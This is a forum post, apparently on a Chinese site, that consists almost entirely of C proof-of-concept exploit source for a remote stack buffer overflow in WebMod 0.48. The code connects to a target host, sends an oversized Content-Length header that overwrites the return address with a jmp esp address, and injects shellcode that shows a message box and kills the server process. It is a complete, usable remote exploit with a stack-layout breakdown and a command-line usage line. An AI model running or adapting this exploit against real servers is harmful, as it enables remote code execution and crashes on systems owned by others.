发新话题
打印

WebMod 0.48 (Content-Length) Remote Buffer Overflow Exploit PoC

WebMod 0.48 (Content-Length) Remote Buffer Overflow Exploit PoC

复制内容到剪贴板
代码:
/*
* WebMod Stack Buffer Overflow
*
* by cybermind (Kevin Masterson)
* cybermind@gmail.com
*
* WebMod v0.48 exploit PoC code
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock.h>
#pragma comment (lib, "ws2_32.lib")

/*
local variables in connectHandle():

char *input;      4
char buf[8192+1];    8193
int i,j;      8
int connfd;      4
int myid;      4
threaddata_t *tdata;    4
httpquery_t query;    149036
char tmp[1025];      1025
int rcv;      4
char clbuf[11];      11

total:        158293
actual (due to padding):  158308


  breakdown of types:
  typedef struct s_var {    546
    char name[33];      33
    char value[513];      513
  } var_s;


  typedef struct s_httpquery {  149036
    char method[11];      11
    char clientip[16];      16
    char url[257];      257
    char *get;        4
    char *post;        4
    char *cookies;      4
    var_s vars[256];      139776
    char currentmapname[257];    257
    char sendcookies[8192+1];    8193
    char contenttype[257];    257
    char location[257];      257
  } httpquery_t;
*/

//contains data to fill the Content-Length field with
char spambuf[20000];

//code to inject
//this particular code only works on Win2K SP4 (v5.0.4.0)
//and kernel32.dll v5.0.2195.6688
unsigned char code[] = {
          // ; push string onto the stack without using 0x00
  0xB8, 0x59, 0x5A, 0x32, 0x11,  //mov    eax, 11325A59h ; "HI!\0" + 11111111h
  0x2D, 0x11, 0x11, 0x11, 0x11,  //sub    eax, 11111111h
  0x50,        //push   eax
  0x8B, 0xC4,      //mov    eax, esp   ; eax points to string

  0x33, 0xC9,      //xor    ecx, ecx   ; zero

          // ; call MessageBox
  0x51,        //push   ecx     ; flags (0)
  0x50,        //push   eax     ; caption
  0x50,        //push   eax     ; text
  0x51,        //push   ecx     ; hwnd (0)
  0xB8, 0x98, 0x80, 0xE3, 0x77,  //mov    eax, 77E38098h ; &MessageBox
  0xFF, 0xD0,      //call   eax

          // ; call GetCurrentProcessId
  0xB8, 0xF4, 0xB8, 0x4E, 0x7C,  //mov    eax, 7C4EB8F4h ; &GetCurrentProcessId
  0xFF, 0xD0,      //call   eax

  0x33, 0xC9,      //xor    ecx, ecx   ; zero

          // ; call TerminateProcess
  0x51,        //push   ecx     ; return code (0)
  0x50,        //push   eax     ; process id
  0xB8, 0xC3, 0x8D, 0x51, 0x7C,  //mov    eax, 7C518DC3h ; &TerminateProcess
  0xFF, 0xD0      //call   eax

};

//EIP you want to insert, this points to an "FF E4" (jmp esp) in w_mm.dll
//set this to 0xFFFFFFFF to just cause a crash
unsigned int our_eip = 0x67E03C5B;

int main(int argc, char* argv[]) {
  WSADATA wsadata;
  int sock = 0;
  struct hostent* host = NULL;
  struct sockaddr_in saddr;

  //data to sent initially
  char initbuf[] = "POST / HTTP/1.1\nHost: localhost:27015\nContent-Length: ";

  //data to send after headers
  char endbuf[] = "\n\n";

  char* hostname = NULL;
  short hostport = 27015;

  int i;
  unsigned int sent = 0;

  //get host/port from command line
  if (argc < 2) {
    printf("Usage:\t%s <hostname|ip> [port=27015]\n", argv[0]);
    return 1;
  }
  hostname = argv[1];
  if (argc >= 3) hostport = atoi(argv[2]);

  WSAStartup(MAKEWORD(1,1), &wsadata);

  sock = socket(AF_INET, SOCK_STREAM, 0);
  if (sock <= 0) {
    printf("socket() error\n");
    return 1;
  }

  host = gethostbyname(hostname);
  if (!host) {
    printf("gethostbyname() error\n");
    return 1;
  }

  printf("Resolved \"%s\" to %s\n", hostname, inet_ntoa(*(struct in_addr*)host->h_addr_list[0]));

  memset(&saddr, 0, sizeof(struct sockaddr_in));
  saddr.sin_family = AF_INET;
  saddr.sin_port = htons(hostport);
  memcpy(&saddr.sin_addr.s_addr, host->h_addr_list[0], host->h_length);

  if (connect(sock, (struct sockaddr*)&saddr, sizeof(struct sockaddr)) < 0) {
    printf("connect() error\n");
    return 1;
  }

  //initialize buffers
  memset(spambuf, &#39;a&#39;, sizeof(spambuf));

  //send initial POST request
  sent += send(sock, initbuf, sizeof(initbuf)-1, 0);

  //send 7 full spambufs to get 140000 bytes
  for (i = 0; i < 7; ++i)
    sent += send(sock, spambuf, sizeof(spambuf), 0);

  //send partial spambuf to fill remaining data
  //(18308, this goes right up to the EIP)
  sent += send(sock, spambuf, 18308, 0);

  //fill EIP
  sent += send(sock, (char*)&our_eip, sizeof(our_eip), 0);

  //insert code!
  sent += send(sock, (char*)code, sizeof(code), 0);

  //send newlines after content-length
  sent += send(sock, endbuf, sizeof(endbuf)-1, 0);

  printf("%u bytes sent...waiting...\n", sent);

  //wait for a while so the socket isn&#39;t closed on our end
  //before they receive all the data
  Sleep(15000);

  return 0;
}

TOP

发新话题